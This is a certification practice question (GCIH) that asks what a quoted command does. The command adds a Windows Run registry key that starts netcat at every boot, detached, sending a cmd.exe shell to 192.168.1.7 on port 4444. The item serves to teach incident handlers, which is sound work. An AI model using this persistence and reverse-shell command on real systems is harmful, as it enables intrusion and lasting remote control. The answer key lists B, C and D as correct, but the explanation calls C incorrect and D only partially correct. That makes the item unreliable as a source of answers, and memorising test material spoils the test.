GIAC Certified Incident Handler (GCIH) — Question 83

You run the following command on the remote Windows server 2003 computer: c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d "c:\windows\nc.exe -d 192.168.1.7 4444 -e cmd.exe"
What task do you want to perform by running this command?
Each correct answer represents a complete solution. (Choose all that apply.)

Answer options

• A. You want to perform banner grabbing.
• B. You want to set the Netcat to execute command any time.
• C. You want to put Netcat in the stealth mode.
• D. You want to add the Netcat command to the Windows registry.

Correct answer: B, C, D

Explanation

The correct answer B indicates that the command sets up Netcat to execute every time the system starts, which is achieved by adding it to the registry. Option C is incorrect as the command does not specifically enable stealth mode; it merely runs Netcat. Option D is partially correct, but it does not capture the essence of what the command is intended to achieve as the main focus is on executing commands at startup.